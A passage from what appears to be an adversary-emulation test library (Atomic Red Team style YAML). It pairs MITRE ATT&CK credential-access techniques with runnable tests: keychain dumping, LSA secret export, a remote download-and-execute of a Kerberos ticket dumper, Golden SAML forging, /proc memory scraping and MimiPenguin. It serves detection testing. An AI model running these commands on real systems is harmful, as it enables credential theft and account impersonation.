          New-Item -ItemType Directory (Split-Path $(cmd /c echo #{hashcat_exe})) -Force | Out-Null
          Move-Item "PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip\hashcat-6.1.1\*" $(cmd /c echo #{hashcat_exe}\..) -Force -ErrorAction Ignore
      executor:
        command: |-
          cd #{hashcat_exe}\..
          #{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}
        cleanup_command: |-
          del "PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z" >nul 2>&1
          del "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" >nul 2>&1
          del "PathToAtomicsFolder\..\ExternalPayloads\7z" /Q /S >nul 2>&1
          del "PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip" /Q /S >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1555.001:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3
      created: '2020-02-12T18:55:24.728Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1555.001
        url: https://attack.mitre.org/techniques/T1555/001
      - source_name: External to DA, the OS X Way
        url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
          DA, the OS X Way. Retrieved July 3, 2017.
      - source_name: Keychain Services Apple
        url: https://developer.apple.com/documentation/security/keychain_services
        description: Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.
      - source_name: Empire Keychain Decrypt
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py
        description: Empire. (2018, March 8). Empire keychaindump_decrypt Module.
          Retrieved April 14, 2022.
      - source_name: OSX Keychain Schaumann
        url: https://www.netmeister.org/blog/keychain-passwords.html
        description: Jan Schaumann. (2015, November 5). Using the OS X Keychain to
          store and retrieve passwords. Retrieved March 31, 2022.
      - source_name: Keychain Decryption Passware
        url: https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption
        description: Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption.
          Retrieved April 13, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may acquire credentials from Keychain. Keychain (or
        Keychain Services) is the macOS credential management system that stores account
        names, passwords, private keys, certificates, sensitive application data,
        payment data, and secure notes. There are three types of Keychains: Login
        Keychain, System Keychain, and Local Items (iCloud) Keychain. The default
        Keychain is the Login Keychain, which stores user passwords and information.
        The System Keychain stores items accessed by the operating system, such as
        items shared among users on a host. The Local Items (iCloud) Keychain is used
        for items synced with Apple’s iCloud service. \n\nKeychains can be viewed
        and edited through the Keychain Access application or using the command-line
        utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>,
        <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation:
        Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation:
        OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain
        storage/memory. For example, the command <code>security dump-keychain –d</code>
        will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>.
        Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code>
        file. Both methods require a password, where the default password for the
        Login Keychain is the current user’s password to login to the macOS host.(Citation:
        External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  "
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Credentials from Password Stores: Keychain'
      x_mitre_detection: Unlocking the keychain and using passwords from it is a very
        common process, so there is likely to be a lot of noise in any detection technique.
        Monitoring of system calls to the keychain can help determine if there is
        a suspicious process trying to access it.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'File: File Access'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1555.001
    atomic_tests:
    - name: Keychain Dump
      auto_generated_guid: 88e1fa00-bf63-4e5b-a3e1-e2ea51c8cca6
      description: "This command will dump keychain credential information from login.keychain.
        \nSource: https://www.loobins.io/binaries/security/\n\n### Keychain File path\n
        \ ~/Library/Keychains/\n  /Library/Keychains/\n  /Network/Library/Keychains/\n
        \ [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)\n
        \ "
      supported_platforms:
      - macos
      executor:
        command: sudo security dump-keychain -d login.keychain
        name: sh
        elevation_required: true
    - name: Export Certificate Item(s)
      auto_generated_guid: 1864fdec-ff86-4452-8c30-f12507582a93
      description: 'This command finds all certificate items and sends the output
        to local file in pem format.

        '
      supported_platforms:
      - macos
      input_arguments:
        cert_export:
          description: Specify the path of the certificates to export.
          type: path
          default: "/tmp/certs.pem"
      executor:
        command: 'security find-certificate -a -p > #{cert_export}

          '
        cleanup_command: 'rm #{cert_export}'
        name: sh
        elevation_required: false
    - name: Import Certificate Item(s) into Keychain
      auto_generated_guid: e544bbcb-c4e0-4bd0-b614-b92131635f59
      description: 'This command will import a certificate pem file into a keychain.

        '
      supported_platforms:
      - macos
      input_arguments:
        cert_export:
          description: Specify the path of the pem certificate file to import.
          type: path
          default: "/tmp/certs.pem"
      executor:
        command: 'security import #{cert_export} -k

          '
        name: sh
        elevation_required: false
  T1003.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc
      type: attack-pattern
      created: '2020-02-21T16:22:09.493Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1003.004
        url: https://attack.mitre.org/techniques/T1003/004
      - source_name: Passcape LSA Secrets
        url: https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
        description: Passcape. (n.d.). Windows LSA secrets. Retrieved February 21,
          2020.
      - source_name: Microsoft AD Admin Tier Model
        url: https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN
        description: Microsoft. (2019, February 14). Active Directory administrative
          tier model. Retrieved February 21, 2020.
      - source_name: Tilbury Windows Credentials
        url: https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf
        description: 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack,
          Mitigation, Defense. Retrieved February 21, 2020.'
      - source_name: ired Dumping LSA Secrets
        url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
        description: Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets.
          Retrieved February 21, 2020.
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      modified: '2022-05-11T14:00:00.188Z'
      name: 'OS Credential Dumping: LSA Secrets'
      description: |-
        Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

        [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: 'Monitor processes and command-line arguments for program
        execution that may be indicative of credential dumping. Remote access tools
        may contain built-in features or incorporate existing tools like Mimikatz.
        PowerShell scripts also exist that contain credential dumping functionality,
        such as PowerSploit''s Invoke-Mimikatz module,(Citation: Powersploit) which
        may require additional logging features to be configured in the operating
        system to collect necessary information for analysis.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1003.004
    atomic_tests:
    - name: Dumping LSA Secrets
      auto_generated_guid: 55295ab0-a703-433b-9ca4-ae13807de12f
      description: |
        Dump secrets key from Windows registry
        When successful, the dumped file will be written to $env:Temp\secrets.
        Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
        https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
      supported_platforms:
      - windows
      input_arguments:
        psexec_exe:
          description: Path to PsExec executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1003.004\bin\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: PsExec from Sysinternals must exist on disk at specified location
          (#{psexec_exe})
        prereq_command: if (Test-Path "#{psexec_exe}") {exit 0} else {exit 1}
        get_prereq_command: |-
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PSTools" -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe" "#{psexec_exe}" -Force
      executor:
        command: '"#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets
          %temp%\secrets /y

          '
        cleanup_command: del %temp%\secrets >nul 2> nul
        name: command_prompt
        elevation_required: true
    - name: Dump Kerberos Tickets from LSA using dumper.ps1
      auto_generated_guid: 2dfa3bff-9a27-46db-ab75-7faefdaca732
      description: |
        This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type.
        If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session.
        Ref: https://github.com/MzHmO/PowershellKerberos/
        Author of dumper.ps1: Michael Zhmaylo (@MzHmO)
      supported_platforms:
      - windows
      executor:
        command: "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1')
          \ \n"
        name: powershell
        elevation_required: true
  T1606.002:
    technique:
      modified: '2024-03-01T17:55:56.116Z'
      name: 'Forge Web Credentials: SAML token'
      description: |-
        An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)

        An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

        An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Oleg Kolesnikov, Securonix
      - Jack Burns, HubSpot
      x_mitre_deprecated: false
      x_mitre_detection: |-
        This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)

        Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - SaaS
      - Windows
      - Office 365
      - Google Workspace
      - IaaS
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      - 'Web Credential: Web Credential Creation'
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2
      created: '2020-12-17T15:24:12.240Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1606/002
        external_id: T1606.002
      - source_name: Microsoft SolarWinds Steps
        description: Lambert, J. (2020, December 13). Important steps for customers
          to protect themselves from recent nation-state cyberattacks. Retrieved December
          17, 2020.
        url: https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
      - source_name: Microsoft SAML Token Lifetimes
        description: Microsoft. (2020, December 14). Configurable token lifetimes
          in Microsoft Identity Platform. Retrieved December 22, 2020.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes
      - source_name: Microsoft SolarWinds Customer Guidance
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
      - source_name: Cyberark Golden SAML
        description: 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered
          Attack Technique Forges Authentication to Cloud Apps. Retrieved December
          17, 2020.'
        url: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
      - source_name: Sygnia Golden SAML
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
        url: https://www.sygnia.co/golden-saml-advisory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1606.002
    atomic_tests:
    - name: Golden SAML
      auto_generated_guid: b16a03bc-1089-4dcc-ad98-30fe8f3a2b31
      description: "Forge a \"Golden SAML\" token which allows to impersonate any
        Azure AD user, and authenticate to AADGraph (as a proof). \nYou will need
        the ADFS token signing certificate (see T1552.004 to export it).\nMore info
        here : https://o365blog.com/post/adfs/\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        certificate_path:
          description: Token signing certificate path. See T1552.004 to export it
          type: path
          default: ".\\ADFS_signing.pfx"
        immutable_id:
          description: ImmutableId of the targeted user. It can be obtained with AzureAD
            powershell module; $(Get-AzureADUser -SearchString "username").ImmutableId
          type: string
          default: aehgdqBTZV50DKQZmNJ8mg==
        issuer_uri:
          description: Issuer URI of the ADFS service
          type: string
          default: http://contoso.com/adfs/services/trust/
      dependency_executor_name: powershell
      dependencies:
      - description: 'AADInternals module must be installed.

          '
        prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AADInternals -Force

          '
      executor:
        command: |
          Import-Module AADInternals -Force
          $saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}"
          $conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
          if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
          Write-Host "End of Golden SAML"
        name: powershell
  T1003.007:
    technique:
      modified: '2024-04-10T16:41:01.496Z'
      name: 'OS Credential Dumping: Proc Filesystem'
      description: |-
        Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process’s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)

        When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)

        If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      x_mitre_deprecated: false
      x_mitre_detection: To obtain the passwords and hashes stored in memory, processes
        must open a maps file in the `/proc` filesystem for the process being analyzed.
        This file is stored under the path `/proc/PID/maps`, where the `PID` directory
        is the unique pid of the program being interrogated for such authentication
        data. The AuditD monitoring tool, which ships stock in many Linux distributions,
        can be used to watch for hostile processes opening this file in the proc file
        system, alerting on the pid, process name, and arguments of such programs.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d
      created: '2020-02-11T18:46:24.434Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1003/007
        external_id: T1003.007
      - source_name: atomic-red proc file system
        description: 'Atomic Red Team. (2023, November). T1003.007 - OS Credential
          Dumping: Proc Filesystem. Retrieved March 28, 2024.'
        url: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md
      - source_name: baeldung Linux proc map 2022
        description: baeldung. (2022, April 8). Understanding the Linux /proc/id/maps
          File. Retrieved March 31, 2023.
        url: https://www.baeldung.com/linux/proc-id-maps
      - source_name: Polop Linux PrivEsc Gitbook
        description: Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved
          March 31, 2023.
        url: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem
      - source_name: MimiPenguin GitHub May 2017
        description: Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5,
          2017.
        url: https://github.com/huntergregal/mimipenguin
      - source_name: Picus Labs Proc cump 2022
        description: Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved
          March 31, 2023.
        url: https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1003.007
    atomic_tests:
    - name: Dump individual process memory with sh (Local)
      auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80
      description: |
        Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
        copy process memory to an external file so it can be searched or exfiltrated later.
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.007.bin"
        script_path:
          description: Path to script generating the target process
          type: path
          default: "/tmp/T1003.007.sh"
        pid_term:
          description: Unique string to use to identify target process
          type: string
          default: T1003.007
      dependencies:
      - description: 'Script to launch target process must exist

          '
        prereq_command: |
          test -f #{script_path}
          grep "#{pid_term}" #{script_path}
        get_prereq_command: |
          echo '#!/bin/sh' > #{script_path}
          echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
      executor:
        name: sh
        elevation_required: true
        command: |
          sh #{script_path}
          PID=$(pgrep -n -f "#{pid_term}")
          HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
          MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
          MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
          MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
          dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
          grep -i "PASS" "#{output_file}"
        cleanup_command: 'rm -f "#{output_file}"

          '
    - name: Dump individual process memory with sh on FreeBSD (Local)
      auto_generated_guid: fa37b633-e097-4415-b2b8-c5bf4c86e423
      description: |
        Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
        copy process memory to an external file so it can be searched or exfiltrated later.
        On FreeBSD procfs must be mounted.
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.007.bin"
        script_path:
          description: Path to script generating the target process
          type: path
          default: "/tmp/T1003.007.sh"
        pid_term:
          description: Unique string to use to identify target process
          type: string
          default: T1003.007
      dependencies:
      - description: 'Script to launch target process must exist

          '
        prereq_command: |
          test -f #{script_path}
          grep "#{pid_term}" #{script_path}
        get_prereq_command: |
          echo '#!/bin/sh' > #{script_path}
          echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
      executor:
        name: sh
        elevation_required: true
        command: |
          sh #{script_path}
          PID=$(pgrep -n -f "#{pid_term}")
          MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
          MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
          MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
          dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
          strings "#{output_file}" | grep -i PASS
        cleanup_command: 'rm -f "#{output_file}"

          '
    - name: Dump individual process memory with Python (Local)
      auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63
      description: |
        Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
        copy a process's heap memory to an external file so it can be searched or exfiltrated later.
        On FreeBSD procfs must be mounted.
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.007.bin"
        script_path:
          description: Path to script generating the target process
          type: path
          default: "/tmp/T1003.007.sh"
        python_script:
          description: Path to script generating the target process
          type: path
          default: PathToAtomicsFolder/T1003.007/src/dump_heap.py
        pid_term:
          description: Unique string to use to identify target process
          type: string
          default: T1003.007
      dependencies:
      - description: 'Script to launch target process must exist

          '
        prereq_command: |
          test -f #{script_path}
          grep "#{pid_term}" #{script_path}
        get_prereq_command: |
          echo '#!/bin/sh' > #{script_path}
          echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
      - description: 'Requires Python

          '
        prereq_command: "(which python || which python3 || which python2)\n"
        get_prereq_command: 'echo "Python 2.7+ or 3.4+ must be installed"

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          sh #{script_path}
          PID=$(pgrep -n -f "#{pid_term}")
          PYTHON=$(which python || which python3 || which python2)
          $PYTHON #{python_script} $PID #{output_file}
          grep -i "PASS" "#{output_file}"
        cleanup_command: 'rm -f "#{output_file}"

          '
    - name: Capture Passwords with MimiPenguin
      auto_generated_guid: a27418de-bdce-4ebd-b655-38f04842bf0c
      description: "MimiPenguin is a tool inspired by MimiKatz that targets Linux
        systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions
        of GNOME Keyring). \nUpon successful execution on an affected system, MimiPenguin
        will retrieve passwords from memory and output them to a specified file. \nSee
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. \nSee https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.\n"
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.007Test3.txt"
        MimiPenguin_Location:
          description: Path of MimiPenguin script
          type: path
          default: "/tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh"
      dependency_executor_name: sh
      dependencies:
      - description: 'MimiPenguin script must exist on disk at specified location
          (#{MimiPenguin_Location})

          '
        prereq_command: 'if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: |
          wget -O "/tmp/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
          mkdir /tmp/mimipenguin
          tar -xzvf "/tmp/mimipenguin.tar.gz" -C /tmp/mimipenguin
      - description: 'Strings must be installed

          '
        prereq_command: 'if [ -x "$(command -v strings --version)" ]; then exit 0;
          else exit 1; fi;

          '
        get_prereq_command: 'sudo apt-get -y install binutils

          '
      - description: 'Python2 must be installed

          '
        prereq_command: 'if [ -x "$(command -v python2 --version)" ]; then exit 0;
          else exit 1; fi;

          '
        get_prereq_command: "sudo apt-get -y install python2       \n"
      - description: 'Libc-bin must be installed

          '
        prereq_command: 'if [ -x "$(command -v ldd --version)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: "sudo apt-get -y install libc-bin        \n"
      executor:
        command: |
          sudo #{MimiPenguin_Location} > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file} > /dev/null

          '
        name: bash
        elevation_required: true
  T1555.005:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Matt Burrough, @mattburrough, Microsoft
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21
      type: attack-pattern
      created: '2021-01-22T16:08:40.629Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1555.005
        url: https://attack.mitre.org/techniques/T1555/005
      - source_name: ise Password Manager February 2019
        url: https://www.ise.io/casestudies/password-manager-hacking/
        description: 'ise. (2019, February 19). Password Managers: Under the Hood
          of Secrets Management. Retrieved January 22, 2021.'
      - source_name: FoxIT Wocao December 2019
        url: https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf
        description: 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation
          Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved
          October 8, 2020.'
      - source_name: Github KeeThief
        url: https://github.com/GhostPack/KeeThief
        description: Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8,
          2021.
      - source_name: NVD CVE-2019-3610
        url: https://nvd.nist.gov/vuln/detail/CVE-2019-3610
        description: National Vulnerability Database. (2019, October 9). CVE-2019-3610
          Detail. Retrieved April 14, 2021.
      - source_name: Cyberreason Anchor December 2019
        url: https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
        description: 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM
          A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September
          10, 2020.'
      modified: '2022-05-11T14:00:00.188Z'
      name: Password Managers
      description: |-
        Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)

